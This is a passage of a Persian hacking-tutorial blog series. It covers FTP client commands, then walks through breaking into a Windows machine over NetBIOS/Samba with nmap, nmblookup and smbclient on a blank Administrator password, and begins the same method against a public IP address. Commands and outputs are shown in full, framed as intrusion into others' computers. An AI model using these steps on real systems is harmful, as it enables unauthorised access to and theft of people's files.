آموزش

 
نظر خواهی
نویسنده : Hossein - ساعت ۱۱:۳٢ ‎ق.ظ روز جمعه ٢٤ شهریور ،۱۳۸٥
 
سلام
می خواستم بدونم که این مطالبی که تو سایت هستش کمکی تو یادگیریتون می کنه؟
که من ادامه بدم؟

با نظراتون به من کمک کنید

 
comment نظرات ()
 
 
قسمت بیست و چهارم(پورت ۲۱)
نویسنده : Hossein - ساعت ۱٠:٠٢ ‎ق.ظ روز جمعه ٢٤ شهریور ،۱۳۸٥
 

- يه نکته راجع به اين درس

دلم مي‌خواست که براي اين درس فقط چند تا لينک معرفي کنم که خودتون بريد و درس ftp رو از همون‌ لينک‌ها ياد بگيرين. دليلش هم کاملا واضحه! علتش اينه که در مورد اين درس خاص اين‌قدر مقاله کامل تو اينترنت هست که اگه يه سال هم بشينين هر روز بخونيدشون، تموم نميشه. ولي به هر حال به خاطر اينکه قرار شده تمام مطالب مرتبط با هک رو گام به گام همين‌جا براتون توضيح بدم، اين درس تابلو! رو هم مي‌گم. ولي ازتون مي‌خوام که حتما يک search بکنين و مقاله‌هاي مختلف راجع به اين درس رو خودتون هم مطالعه کنيد. ياد گرفتن ftp از نون شب هم واجب‌تره :)


- پورت ۲۱ چيست؟

پورت ۲۱ رو پورت ftp مي‌گن. ftp مخفف عبارت file transfer protocol است يعني پروتکل انتقال فايل. کاربرد اين پروتکل و اين پورت از زماني وجود داره که حتي وب (پورت ۸۰ ) هم چندان عمومي نشده بود. پس مي‌تونم بگم که يه پروتکل باستاني هستش. وقتي مي‌خواهيد با يک سرور از طريق اين پروتکل صحبت کنيد، بايد مطمئن بشين که سرويس مربوط به ftp روي اون کامپيوتر فعال باشه. به عبارت ديگه بايد يک ftp server روي اون کامپيوتر در حال اجرا باشه. حالا شما با اون کامپيوتر مي‌خواين ارتباط برقرار کنين، پس شما بايد از يک ftp client استفاده کنيد. پس شما کلاينت هستيد و دستگاه مقابل سرور!
حالا شايد بپرسين که کار ftp چيست؟
ftp براي انتقال فايل به کار ميره و اين انتقال فايل در دو جهت ممکنه که upload و download گفته ميشه. براي اينکه اين‌ها رو قاطي نکنيد با هم فرض کنيد که کامپيوتر سرور بالای سر شما قرار گرفته، پس وقتي فايل رو از اون مي‌گيريد، فايل به سمت پايين مي‌آد (download) و وقتي فايل رو براي سرور مي‌فرستيد، حالت برعکس مي‌باشد و بهش مي‌گيم، upload کردن. و هر دو عبارت نوعي انتقال فايل محسوب ميشه. دقت کنيد که انتقال فايل از طريق پروتکل‌هاي ديگه‌اي هم امکان‌پذيره مثل web و ... ولي ما بحث‌مون همين پروتکل ftp است.
عبارت ديگه‌اي که راجع به اين پورت بايد ياد بگيريد، عبارت anonymous است. براي توضيح اين عبارت اول بايد بگم که وقتي شما مي‌خواهيد با سرور ارتباط برقرار کنيد، همين‌طوري کشکي که نيس! براي ارتباط با سرور از شما username و password پرسيده مي‌شه و اگه درست باشه مي‌تونين فايل‌ها رو upload و download کنيد و تغيير بديد ( پس مي‌بينيد که اين پروتکل پروتکل حساسي است و اگه هک بشه خيلي کارها ميشه باهاش کرد). اين حالت که گفتم در حالتي ممکنه که شما username و password داشته باشيد. اما گاهي پيش مي‌آد که username و password نداريم و مي‌خوايم با پورت ftp يک سرور يا سايت ارتباط برقرار کنيم. در اين حالت معمولا فقط اجازه download به ما داده ميشه و اجازه upload و يا اعمال تغييرات در فايل‌ها رو نداريم و اونو حالت anonymous يا ناشناس مي‌گن. در اين حالت وقتي از ما username خواسته ميشه، عبارت anonymous را تايپ مي‌کنيم و بعد که پسورد پرسيده ميشه، شما بايد E-mail تون رو وارد کنيد، ولي من مي‌گم که به جاي E-mail واقعي تون يه E-mail الکي بنويسين مثلا alaki@dolaki.com !!
آدرسي که براي ftp با يه سرور استفاده مي‌کنيم به چه شکلي است؟
آدرسي که استفاده مي‌کنيم بستگي به سرور داره ولي معمولا ساختار ثابتي داره. ( اگه يادتون باشه واسه web مثلا مي‌نوشتيم، www.far30.com ) حالا براي ftp مي‌نويسيم، ftp.far30.com پس مثلا براي سايت sazin.com مي‌نويسيم، ftp.sazin.com که آدرس ftp سايت ميشه.


- چطوري يه سرور پيدا کنم که سرويس ftp روي اون فعال باشه؟

اين سوال دو حالت داره:
۱- مي‌خواهيد به صورت anonymous وارد بشين يعني username و password ندارين. براي اين حالت مي‌تونين از خيلي از سايت‌ها استفاده کنيد. مثلا مي‌تونين از ftp.microsoft.com استفاده کنيد يا سايت‌هاي ديگه.
۲- اگه مي‌خوايد به صورت غير anonymous کار کنيد، حيطه عمل‌تون محدود به سايت‌هايي ميشه که username و password واسه اون دارين. مثلا اگه شما سايتي روي اينترنت داشته باشيد ( چه سايت پولي و چه سايت مجاني مثلا در netfirms و geocities و ... ) به شما يک آدرس ftp و يک username و password تعلق مي‌گيره که از طريق اون کار مي‌کنيد. اگه سايت نداريد، مي‌تونيد يک سايت مجاني درست کنيد. مثلا مي‌تونيد از سايت geocities.com که متعلق به ياهو است استفاده کنيد. يا از سايت‌های netfirms.com يا freeservers.com و... ولي به‌هر حال در يکي از اين‌ها ثبت‌نام کنيد و username و password بگيريد. آدرس‌هاي ftp آنها هم که به‌صورت ftp.geocities.com يا ftp.netfirms.com و... خواهد بود. (از من نخواين که طريقه ثبت‌نام در اين سايت‌ها رو هم به شما ياد بدم! کار خيلي راحتيه.)


- با پورت ۲۱ صحبت کنيم

فرض کنيد من از يک سايت فرضي استفاده مي‌کنم که آدرس ftp اون باشه: ftp.somesite.com و username من باشه ali1000 و پسوردم هم يه چيزه ديگه باشه. حالا مي‌خوام از طريق پورت ۲۱ با اين سايت ارتباط برقرار کنم. در مورد اين پورت ديگه از nc و telnet استفاده نمي‌کنم، بلکه از برنامه‌اي که در تمام ويندوز‌ها هست، به اسم ftp کمک مي‌گيرم. در command prompt مي‌نويسم:
ftp ftp.somesite.com
و جواب مي‌شنوم:
Connected to somesite.com.
220 somesite Microsoft FTP Service (Version 5.0).
User (somesite.com:(none)):
دقت کنيد که اين سايت ftp server اش از نوع Microsoft است، پس اين سرور از سيستم‌عامل ويندوز استفاده مي‌کنه ( دونستن اين نکات لازم نيست، ولي من توصيه مي‌کنم که هميشه به جزئيات توجه کنيد) دقت کنيد که از من username رو مي‌خواد، پس مي‌نويسم: ali1000 و Enter رو فشار مي‌دم. جواب مي‌آد:
331 Password required for ali1000.
Password:
حالا ازم پسورد مي‌خواد و پسورد رو تايپ مي‌کنم. جواب مي‌شنوم:
230 User ali1000 logged in.
ftp>
اين نشون ميده که تونستم با پورت ۲۱ کامپيوتر مقابل ارتباط برقرار کرده و اصطلاحا يک session يا نشست! باهاش داشته باشم. اگه username يا password اشتباه بود، اون موقع مي‌گفت:
530 User ali1000 cannot log in.
Login failed.
ftp>
من فرض مي‌کنم که session با موفقيت برقرار شده، حالا تايپ مي‌کنم:
ftp> help
و جواب مي‌شنوم:
Commands may be abbreviated.  Commands are:

! delete literal prompt send
? debug ls put status
append dir mdelete pwd trace
ascii disconnect mdir quit type
bell get mget quote user
binary glob mkdir recv verbose
bye hash mls remotehelp
cd help mput rename
close lcd open rmdir
اين‌ها ليست دستوراتي است که مي‌تونيد استفاده کنيد. من فقط اون‌هايي که به صورت bold مشخص کردم رو توضيح خواهم داد. بقيه دستورات کمتر به کار مي‌رن.


- دستورات پايه براي اين پورت کدامند؟

+ دستور help و ?
دستور help رو همين الان استفاده کرديم. دستور ? هم معادل اونه.

+ دستور dir و ls
اين دو دستور نشون مي‌دن که در محل فعلي در سرور چه فايل‌ها و فولدر (دايرکتوری) هايي وجود دارد. فرق‌شون اينه که وقتي از dir استفاده مي‌کنيد، اطلاعات بيشتري علاوه بر نام فايل‌ها و فولدر‌ها به ما ميده. من نوشتم dir و جواب شنيدم:
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
12-28-02 02:18AM < DIR> db
12-28-02 02:19AM < DIR> Special
03-08-03 03:18AM < DIR> www
226 Transfer complete.
ftp: 135 bytes received in 0.02Seconds 6.75Kbytes/sec.
ملاحظه مي‌فرماييد که سه تا فولدر (دايرکتوري) اينجا هست. (اگه با دستور dir آشنا نيستيد، يک کتاب داس بخونيد). اين‌ها فولدر هستند چون عبارت < DIR> جلوي اون‌ها نوشته شده است. نام اين فولدرها عبارتند از db و special و www

+ دستورات مرتبط با کار روي فولدرهايي که روي سرور (نه روي کامپيوتر خودمون) هستند، عبارنتد از:
cd يا chdir ==> اين دستور براي وارد شدن داخل يک فولدر به کار مي‌ره.
mkdir ==> اين دستور براي ساختن يک فولدر جديد به کار ميره.
rmdir ==> اين دستور براي پاک کردن يک فولدر موجود به کار ميره (به شرطي که آن فولدر خالي باشد)
براي کار با هر کدوم از اين دستورات کافي است، دستور مورد نظر را نوشته و بعد از يک کاراکتر فاصله، نام فولدر را بنويسيد، مثلا اگه بخوام وارد فولدر www بشم، مي‌نويسم:
cd www
و جواب مي‌شنوم:
250 CWD command successful.
ftp>
اين جواب به آن معني است که وارد فولدر (دايرکتوري) www شده‌ام. حالا دوباره دستور dir را استفاده مي‌کنم و جواب مي‌گيرم:
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
12-28-02 02:18AM < DIR> _private
02-17-03 04:15PM 61982 1.jpg
12-28-02 02:19AM < DIR> aspnet_client
12-28-02 02:19AM < DIR> cgi-bin
12-29-02 06:27PM 11285 default.asp
12-28-02 02:19AM < DIR> images
12-28-02 02:18AM 2494 postinfo.html
226 Transfer complete.
ftp: 1438 bytes received in 0.28Seconds 5.12Kbytes/sec.
ftp>
ملاحظه مي‌کنيد که سه‌ تا فايل و سه تا دايرکتوري داريم. اون‌هايي که جلوشون نوشته < DIR> دايرکتوري هستند و اونايي که اين عبارت رو ندارند و جلوشون يه عدد نوشته شده ( که بيانگر حجم هر کدومشون هست ) فايل مي‌باشند.
در مورد دستور cd اگه بنويسم .. cd به فولدر قبلي بر مي‌گرديم، مثلا الان که تو فولدر www هستيم اگه .. cd رو بنويسم، يک فولدر به عقب برمي‌گردم ( به حالت قبل از ورود به www )
يه دستور ديگه هم راجع به فولدرها هست و اونم دستور pwd است. اين دستور نشون ميده که ما الان تو کدوم فولدر از فولدرهاي سرور هستيم.

+ دستورات مرتبط با فايل‌ها عبارنتد از:
delete يا dele ==> اين دستور براي پاک کردن يک فايل به کار مي‌ره.
rename ==> اين دستور براي عوض کردن نام يک فايل به کار مي‌ره.
مثلا اگه بخوام فايل default.asp رو پاک کنم، مي‌نويسم delete default.asp
اگه بخوام فايل default.asp رو به index.htm تغيير نام بدم، مي‌نويسم rename default.asp index.htm

+ دستورات مرتبط با فولدرهاي کامپيوتر خودمان:
اول دقت کنيد که در مورد پورت ۲۱ وقتي مي‌گوييم در کدام فولدر قرار داريم، اين مسئله دو معني داره. حالت اول محل فعلي ما روی سرور است. يعني کجاي سرور هستيم. تمام دستوراتي که راجع به فولدرها گفتم براي کار روي فولدرهاي سرور است. حالت دوم محل فعلي ما در کامپيوتر خودمون است. فرض کنيد که وارد فولدري در کامپيوتر سرور شده‌ايم والان مي‌خوايم فايل را داون‌لود کنيم به کامپيوتر خودمون. براي اينکه فايل به فولدر درستي در کامپيوتر خودمون منتقل بشه، بايد وارد يک فولدر خاص در کامپيوترمان بشيم. دستور مرتبط با اون دستور lcdاست. مثلا اگه بخوام وارد فولدر araz از درايو :C بشم، مي‌نويسم:
lcd c:/araz



- دستورات اصلي (upload و download فايل) کدامند؟

قبل از اينکه اين دستورات رو بگم، انواع فايل رو بگم:
==> فايل‌هاي ascii : فايل‌هايي که حالت متني دارند، مثل فايل‌هاي txt و html و asp و php و rtf و ...
==> فايل‌هاي binary : فايل‌هايي که متني نيستند، مثل فايل‌هاي گرافيکي، مولتي‌مديا، database ، doc و ...

وقتي مي‌خواهيم فايل رو داون‌لود يا upload کنيم، بايد قبل از انتقال فايل نوع اون رو تنظيم کنيم. دو تا دستور براي اين‌کار داريم:
+ دستور ascii يا asc : يعني مي‌خواهيم به صورت اسکي عمل انتقال انجام شود.
+ دستور binary يا bin : يعني مي‌خواهيم به صورت باينري عمل انتقال انجام شود.

+دستور prompt: وقتي تعداد زيادي فايل رو قرار باشه منتقل کنيم، و از دستور مربوط به upload يا download استفاده مي‌کنيم، هر بار که فايلي مي‌خواهد منتقل شود، از ما سوال مي‌کند که آيا مي‌خواهيد اين فايل منتقل شود يا نه. فرض کنيد که مي‌خواهيد مثلا ۱۰۰ فايل رو منتقل کنيد، در اين موارد ۱۰۰ بار از شما اين سوال پرسيده مي‌شود. براي اين‌که اين حالت رو غير فعال کنيم، مي‌نويسيم prompt تا غيرفعال شود، اگه يه بار ديگه همين دستور رو بنويسيم، دوباره فعال ميشه و قس‌علي‌هذا !

+ دستورهاي مربوط به upload فايل:
دستور put: اين دستور يک فايل رو از کامپيوتر ما به سرور منتقل مي‌کنه (از فولدر فعلي کامپيوتر ما به فولدر فعلي کامپيوتر سرور). مثلا اگه بخوام فايلي به اسم ali.jpg رو upload کنم، اگه در حالت ascii باشم، اول بايد به حالت binary تغيير حالت بدم و بعد بنويسم:
put ali.jpg
و جواب مي‌شنوم:
200 PORT command successful.
150 Opening BINARY mode data connection for ali.jpg.
226 Transfer complete.
ftp: 21010 bytes sent in 0.02Seconds 1050.50Kbytes/sec.
ftp>
دستور mput: اين دستور چند فايل رو upload مي‌کند، مثلا اگه بخوام همه فايل‌هاي htm که اسمشون با کاراکتر s شروع ميشه رو منتقل کنم، مي‌تويسم (البته بايد قبلش به حالت ascii تغيير حالت داده باشم):
mput s*.htm
+ دستورهاي مربوط به download فايل:
دستور get: اين دستور يک فايل رو از سرور به کامپيوتر ما منتقل مي‌کنه (از فولدر فعلي سرور ما به فولدر فعلي کامپيوتر ما). مثلا اگه بخوام فايلي به اسم default.asp رو download کنم، مي‌نويسم:
get default.asp
دستور mget: اين دستور چند فايل رو download مي‌کند، مثلا اگه بخوام همه فايل‌هاي htm که اسمشون با کاراکتر s شروع ميشه رو منتقل کنم، مي‌تويسم:
mget s*.htm



- چگونه کار را خاتمه دهيم؟

+ اول بايد session را خاتمه دهيم. براي اين‌کار مي‌تونيد از يکي از دو دستور close يا disconnect استفاده کنيم.
+ بعد، براي خروج از ftp بايد از يکي از دو دستور quit يا bye استفاده کنيم.


- حالت anonymous چه فرقي با حالت بالا دارد؟

هيچ‌ فرقي در روش کانکت شدن، ندارد. تنها فرق در username و password است که به ترتيب، anonymous و e-mail رو استفاده مي‌کنيم. و نيز همون‌طور که قبلا گقتم بعد از کانکشن به صورت anonymous اجازه upload يا اعمال تغييرات روي server رو نداريم.


- چه نرم‌افزارهاي گرافيکي براي کار کار با ftp وجود دارد؟

نرم‌افزارهاي گرافيکي زيادي براي اين‌کار وجود دارند، مثل fetch براي کامپيوترهاي Macintosh و نرم‌افزارهاي WS_FTP و CuteFtp و WinFTP و... براي ويندوز که هيچ‌کدوم مفت نمي‌ارزند!!


- راحت‌ترين روش کار با اين پورت به نظر شما چيست؟

راحت‌ترين روش ممکن، استفاده از web browser کامپيوترتون مثل internet explorer است! در اين حالت دقيقا مثل اين است که داريد با فولدرهاي کامپيوتر خودتون کار مي کنيد. مي‌تونيد براي download فايل رو فايل مورد نظر دابل‌کليک کنيد و براي upload مي‌تونيد فايل رو از بيرون به مرورگر drag & drop يا copy & paste کنيد!
+ اگه بخواين به صورت anonymous مثلا به سايت microsoft وارد شويد، کافي است در مرورگر بنويسيد: ftp://ftp.microsoft.com و Enter را فشار دهيد.
+ اگه بخواين به صورت غير anonymous مثلا به سايت ftp.somesite.com که username شما براي آن سايت ali1000 است وارد شويد، در مرورگر مي‌نويسيد: ftp://ali1000@ftp.microsoft.com و Enter را فشار مي‌دهيد. در اين حالت، پنجره‌اي باز شده و از شما پسورد مي‌خواهد و شما پسورد را نوشته و بعد از تاييد، وارد پورت ۲۱ اون کامپيوتر مي‌شين.

 
comment نظرات ()
 
 
قسمت بیست و سوم(Samba چيست؟)
نویسنده : Hossein - ساعت ٩:٥۸ ‎ق.ظ روز جمعه ٢٤ شهریور ،۱۳۸٥
 
- Samba چيست؟

احتمالا ميدونيد که Netbios پرتکل معروف مايکروسافت براي ارتباط ويندوز ها با هم و احتمالا Share کردن پرينتر يا فايله. همچنين وقتي که بحث نفوذ به Client و بر بعضي مواقع Server ها پيش مياد، Netbios يکي از اولين انتخاب هاست. ما در اين مقاله سعي ميکنيم از اين ضعف سيستم عاملهاي مايکروسافت سوءاستفاده کنيم.
سيستم عاملهاي بر پاييه يونيکس مثل لينوکس براي Share کردن فايلها و پرينتر ها از طريق Netbios از پرتکل Smb/Cifs که توسط برنامه Samba باز ميشه استفاده ميکنن و از اين طريق لينوکس ميتونه Share هاي کامپيوتر هاي ويندوز رو Mount کنه. (اگه کاربر لينوکس هستيد، نمي‌تونيد روش‌هايي که در درس قبلي براي ويندوز ذکر شده استفاده کنيد، بلکه بايد از Samba بهره گيريد. اما طرف مقابل که قرار است هک بشه، سيستم‌عاملش رو فرض مي‌کنيم که ويندوزه. پس ما مي‌خوايم با لينوکس يک سيستم‌عامل ويندوز را که ۱۳۹ باز داره، هک کنيم) بي شک Netbios عمومي ترين مشکل امنيتي ويندوزه که استفاده ازش چندان مشکل نيست.
خب ! همون طور که گفتم ما براي اين کار از Samba استفاده ميکنيم. من اينجا چيزي در مورد Samba نمي‌نويسم و بنا کار رو بر اين ميگذارم که تا حدودي ميتونيد با Samba کار کنيد . اگر احتمالا مشکلي داريد ميتونيد به Samba.org سر بزنيد و در Documention ها دنبال راهنما باشيد :) به طور کل اگر نميدونيد چطور از Samba استفاده کنيد بهتره که کاري با کامپيوتر هاي مردم نداشته باشيد ! :)


- چگونه با پورت ۱۳۹ صحبت کنيم؟

۱- اولين قدم پيدا کردن کامپيوتريه که پرت 139 و 137 که پرت Netbios هست رو باز کرده باشه. براي اينکار از Nmap استفاده مي‌کنيم. Nmap معمولا رو همه Description هاي فعلي پيدا ميشه. مي‌خوام به کمک Nmap تست کنم که از ip شماره 192.168.3.50 تا 192.168.3.1 کدام‌ها پورت ۱۳۹ باز دارند. براي اين کار مي‌نويسم:
# nmap -sS -O 192.168.3.1-50 -p 139
و جواب مي‌شنوم:
st 1 open and 1 closed TCP port
Interesting ports on (192.168.3.2):
Port State Service
139/tcp open netbios-ssn
Remote OS guesses: Windows Millennium Edition (Me), Win 2000,
or WinXP, MS Windows2000 Professional RC1/W2K Advance Server Beta3
بايد اينو بهتون بگم که من دارم اين کار رو روي Lan انجام ميدم و همه Ip ها Static هستند. ولي خب کار رو جوري در نظر ميگيرم که گويا نميدونم چه Host هاي اينجا وجود دارن :) 192.168.3.1 يک SuSE 8 هست که کار رو از طريقش انجام ميديم و 192.168.3.2 يک win2kpro sp2 هست که قربانيه و البته FireWall نداره :) من اينجا از آيپي هاي کلاس C استفاده ميکنم ممکنه وضع شما تو اينترنت فرق کنه، ولي خب نحوه کار تغيير نميکنه. حالا هدف رو پيدا کرديم، هدف ما 192.168.3.2 هست .

۲- قدم دوم گرفتن NetbiosName هاي هدفه. بدون اين اسمها ما نميتونيم هيچ جور اطلاعاتي از هدف بگيريم. از اونجايي که مايکروسافت سعي کرده همه کارها رو ساده کنه، ويندوز هاي رو شبکه Netbios به جاي Ip Address از اسم استفاده ميکنن!! خب اينجا لازمه از يه Netbios Scanner يا Share Scanner استفاده کنيم. معمولا رو هر Description يي دستور nmblookup پيدا ميشه - که خيلي شبيه nbtstat ويندوزه - رو لينوکس کار ميکنه. من شخصا خيلي از nmblookup خوشم نمياد چون Share Scanner هاي بسيار بهتري هستن ! :) به هر صورت من اينجا از nmblookup استفاده ميکنم . شکل کلي دستور اينه : nmblookup –A . اين flag ه A باعث ميشه که nmblookup بتونه Query بهتري انجام بده . حالا رو هدفهوم امتحان ميکنيم :
# nmblookup –A 192.168.3.2
و جواب مي‌گيرم:
Looking up status of 192.168.3.2
ARMINLAPTOP <00> - B < ACTIVE>
WORKGROUP <00> - < GROUP> B < ACTIVE>
ARMINLAPTOP <03> - B < ACTIVE>
ARMINLAPTOP <20> - B < ACTIVE>
WORKGROUP <1e> - < GROUP> B < ACTIVE>
ADMINISTRATOR <03> - B < ACTIVE>
WORKGROUP <1d> - B < ACTIVE>
..__MSBROWSE__. <01> - < GROUP> B < ACTIVE>
همه چيز مشخصه نه ؟ اسم کامپيوتر ARMINLAPTOP , گروه کامپيوتر WORKGROUP و کاربر فعال Administrator هست :)

۳- بگذارين قبل از قسمت سوم کار يکمي در مورد ويندوز ها صحبت کنيم. Netbios به طور کلي روي همه ويندوز ها به نوعي خطر ايجاد ميکنه. رو ويندوز هاي سري 2000 به بالا همه پارتيشن هاي سيستم Share شده اند و با پسوردي که Administrator دارد، باز ميشن. خيلي از کاربران تازه کار هم پسورد Administrator رو خالي ميگذارن. به نظر من اين سري ويندوز ها بيشتر در خطر هستند. رو ويندوز هاي 9x هيچ فايلي به طور Default Share نشده، ولي خوب اگر بشه ممکنه بتونيم از طريقش بدون پسورد وارد فايل سيستم بشيم :) حتي اگر پسورد Administrator رو هم نداشته باشيم Anonymous Login ميتونه اطلاعات خيلي مفيدي بهموم بده :) حالا مي‌خواهيم ليست Share ها رو بدست بياوريم . ( در درس قبلي براي ويندوز از دستور net view براي همين‌کار استفاده کرديم) توجه کنيد که کرنل بايد Network File System و Samba File System رو ساپرت کرده باشه : در اين مثال در نظر گرفتم که پسورد Administrator خاليه ! :) مي‌نويسم:
# smbclient –Uadministrator –LARMINLAPTOP –I 192.168.3.2
نتيجه دستور به صورت زير است:
added interface ip=192.168.3.1 bcast=192.168.3.255 nmask=255.255.255.0
Password:
Domain=[WORKGROUP] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager]

Sharename Type Comment
--------- ---- -------
IPC$ IPC Remote IPC
D$ Disk Default share
ADMIN$ Disk Remote Admin
C$ Disk Default share
Armin Disk

Server Comment
--------- -------
ARMINDESKTOP Samba 2.2.3a
ARMINLAPTOP

Workgroup Master
--------- -------
WORKGROUP ARMINLAPTOP
خب ميبينيد ؟ :) هر دو پارتيشن ARMINLAPTOP در اختيار شماست ! :) همچنين کامپيوتر هايي که باهاش در ارتباط هستند رو هم ميبينيم. در اين مثال ملاحظه مي‌فرماييد که Armin به عنوان Disk به‌اشتراک گذاشته شده. خب قبل از اينکه بريم سراغ بقيه کار يک بار هم Anonymous رو امتحان ميکنيم ( يه چيزي مثل Null Session ):
# smbclient -LARMINLAPTOP -I 192.168.3.2
و جواب:
added interface ip=192.168.3.1 bcast=192.168.3.255 nmask=255.255.255.0
Password:
Anonymous login successful
Domain=[WORKGROUP] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager]

Sharename Type Comment
--------- ---- -------
Error returning browse list: NT_STATUS_ACCESS_DENIED

Server Comment
--------- -------
ARMINDESKTOP Samba 2.2.3a
ARMINLAPTOP

Workgroup Master
--------- -------
WORKGROUP ARMINLAPTOP
خب باز هم يه اطلاعاتي پيدا ميکنيم ! :) با اينکه فايلهاي Share شده رو نميبينيم، به هر صورت از هيچي بهتره ! شايد يه جاي ديگه به درد بخوره !

۴- خب حالا سعي ميکنيم که اين Share هارو Mount کنيم. مي‌نويسيم:
# smbclient //ARMINLAPTOP/Armin -I 192.168.3.2
و جواب مي‌شنوم:
added interface ip=192.168.3.1 bcast=192.168.3.255 nmask=255.255.255.0
Password:
session setup failed: NT_STATUS_LOGON_FAILURE
خب ! :) Share توسط Password محافظت ميشه ! :) کار زيادي نمي‌تونيم انجام بديم. مثلا مي‌تونيم همين Null پسورد رو امتحان کنم، ولي خب اگر با Win9x طرف باشيم کاري نميشه کرد . حالا رو ويندوز 2000 به بالا کار مي‌کنيم. روي اينکه کاربر ناشي باشه و پسورد Administrator رو خالي گذاشته باشه خيلي حساب کرديم :
# smbclient //ARMINLAPTOP/Armin -I 192.168.3.2 -Uadministrator
و جواب مي‌شنوم:
added interface ip=192.168.3.1 bcast=192.168.3.255 nmask=255.255.255.0
Password:
Domain=[WORKGROUP] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager]
smb: \> 
اين </: smb مثل خط فرمان مي‌مونه و مي‌تونين دستورات رو تايپ کنيد براش. کار تمومه! هر کاري که دوست داشته باشين ميتونين با اين راه رو هر Share اي انجام بديد :) مثلا مي‌نويسم:
smb: \> ls
و جواب مي‌شنوم:
. DA 0 Sat Feb 8 05:34:11 2003
.. DA 0 Sat Feb 8 05:34:11 2003
Blcorp D 0 Sat Feb 8 03:05:51 2003
 
47943 blocks of size 65536. 8261 blocks available
و ادامه مي‌دم به صورت زير:
smb: \> cd Blcorp
smb: \Blcorp\> ls
. D 0 Sat Feb 8 03:05:51 2003
.. D 0 Sat Feb 8 03:05:51 2003
WLTrial.exe A 2321412 Mon Apr 29 14:18:58 2002

47943 blocks of size 65536. 8261 blocks available
smb: \Blcorp\> get WLTrial.exe
getting file WLTrial.exe of size 2321412 as WLTrial.exe (892.2 kb/s) ...
smb: \Blcorp\>
شما ميتونيد از دستور Pull براي فرستادن فايل و get براي گرفتن فايل استفاده کنيد :) فايلها گرفته شده در دايرکتوري فعلي شما ذخيره ميشوند . قسمت اميدوار کننده کار اينه که خيلي از مردم از ويندوز استفاده ميکنن و اکثرشون حتي نميدونن که همه فايل سيستم هاشون بدون پسورد به راحتي قابل دسترسه. خب ما هم اينهارو ياد نمي‌گيريم که دور دنيا بچرخيم و فايلهاي مردم رو پاک کنيم !


- FAQ

- آيا Samba به نا امني Netbios ويندوز است ؟
نه اصلا ! Samba يک برنامه پرقدرته , اگر خوب Config شه احتمال هک شدنش بسيار پايينه ! فرض کنيد از طريق سيستم‌عامل ويندوز مي‌خوام اين کامپيوتري که Samba داره رو هک کنم. دستور تايپ شده و جواب بدست اومده بيانگر امنيت Samba ست:
C:\>nbtstat -A 192.168.3.1

Local Area Connection 2:
Node IpAddress: [192.168.3.2] Scope Id: []

Host not found
- يک نفوذ بدون مشکل جدي چقدر طول مي‌کشه ؟
موقع هک کردن Client بايد سريع باشيد ! کل اين مراحل حداکثر 3 يا 4 دقيقه وقت ميگيره , فقط نوشتنش طول ميکشه! :)

- چرا هک کردن Netbios از طريق Unix/Linux راحت تر از Windows هست ؟
خب خيلي سريع تره، ابزارهاي بهتر و از همه مهم‌تر اينکه خودتون در معرض خطر نيستيد :)

 
comment نظرات ()
 
 
قسمت بیست و دوم(پورت ۱۳۹)
نویسنده : Hossein - ساعت ٩:٥٥ ‎ق.ظ روز جمعه ٢٤ شهریور ،۱۳۸٥
 
- NetBIOS چيست؟

NetBIOS مخفف عبارت Network Basic Input/Output System است. NetBIOS ابزاري است که اجازه به اشتراک گذاشتن منابع رو به ما مي‌ده. ما برای به اشتراک گذاشتن فايل‌ها و يا پرينتر مي‌تونيم از اين پروتکل استفاده کنيم. نکته مهم اين است که NetBIOS فقط در سيستم‌عامل ويندوز معني داره (اگرچه ابزارهايي مثل Samba در لينوکس مي‌تونن اونو شبيه سازي کنن ولي بحث ما خود پروتکل NetBIOS است). وقتي NetBIOS در ويندوز فعال باشد، بلافاصله سه تا پورت براي استفاده باز مي‌شوند. پورت مهم و اصلي پورت ۱۳۹ در tcp است که NetBIOS را هم با اين پورت مي‌شناسن. دو پورت ديگر، از نوع udp هستند و عبارتند از پورت ۱۳۷ براي name service و پورت ۱۳۹ براي Datagram service . وقتي قرار باشه که يک سيستم‌عامل ويندوز هک بشه ( خصوصا اگه کلاينت باشه ) يکي از اولين مواردي که به ذهن مي‌رسه، استفاده از NetBIOS ه.
حالا ببينيم منظور از به اشتراک گذاشتن (Sharing) در مورد فايل‌ها و پرينتر‌ها چيست؟
به اشتراک گذاشتن در مورد فايل‌ها يعني قرار دادن تعدادي فايل در يک کامپيوتر خاص به طوريکه توسط ساير کامپيوترها قابل دسترسي و استفاده باشه. در مورد پرينتر به اشتراک گذاشتن يعني طوري چاپگر متصل به يک کامپيوتر را تنظيم کنيم که توسط ساير کامپيوتر‌ها هم قابل استفاده باشه. با توجه به اينکه در سيستم‌عامل‌هاي ويندوز به صورت پيش‌فرض NetBIOS فعال است، پس مي‌توان به تعدادي از فايل‌ها و فولدرهاي تعدادي از کامپيوترهاي روي شبکه دسترسي داشت و فايل‌ها را خواند و حتي کپي يا پاک کرد.


- چگونه با پورت ۱۳۹ صحبت کنيم؟

۱- اولين کاري که مي‌کنيم اين است که براي پورت ۱۳۹ پورت اسکن مي‌کنيم تا ip هايي را که پورت ۱۳۹ در آنها باز است، پيدا کنيم. من اين کار را با nmap انجام مي‌دم. فرض کنيد که يک ip به شماره 217.218.84.29 را تست کرده و به نتيجه زير برسم:
Interesting ports on HOME-TU6U0AV86Y (217.218.84.29):
Port State Service
139/tcp open netbios-ssn
Remote operating system guess: Windows Millenn... (Me), Win 2000, or WinXP
اين خروجي اعلام مي‌کند که پورت ۱۳۹ باز است. پس مي‌شود از اين ip استفاده کرد.

۲- حالا مي‌خوام با اين پورت ارتباط برقرار کنم. اصولا بايد مثل سابق از telnet يا nc استفاده کنم ولي در مورد پورت ۱۳۹ روش ارتباطي فرق مي‌کند. کامنت پرامت را باز کرده و دستور زير را مي‌نويسم:
nbtstat -A 217.218.84.29
دستور nbtstat يک ابزار خاص براي کار با NetBIOS است. دقت کنيد که از پارامتر A- با ip مربوطه استفاده کردم. (دستور nbtstat داراي پارامتر‌هاي بسياري است که اگه مي‌خواين همه رو ببينين، بنويسين nbtstat و enter را بزنيد.)
حالا بحث اينه که اين دستور چه‌ کاري مي‌کنه و خروجي به چه صورتي است:
اين دستور به ip مورد نظر وصل مي‌شه و از اون مي‌خواد ليست منابعي رو که به اشتراک گذاشته رو ليست کنه. در اين حالت ۲ حالت ممکنه اتفاق بيوفته:
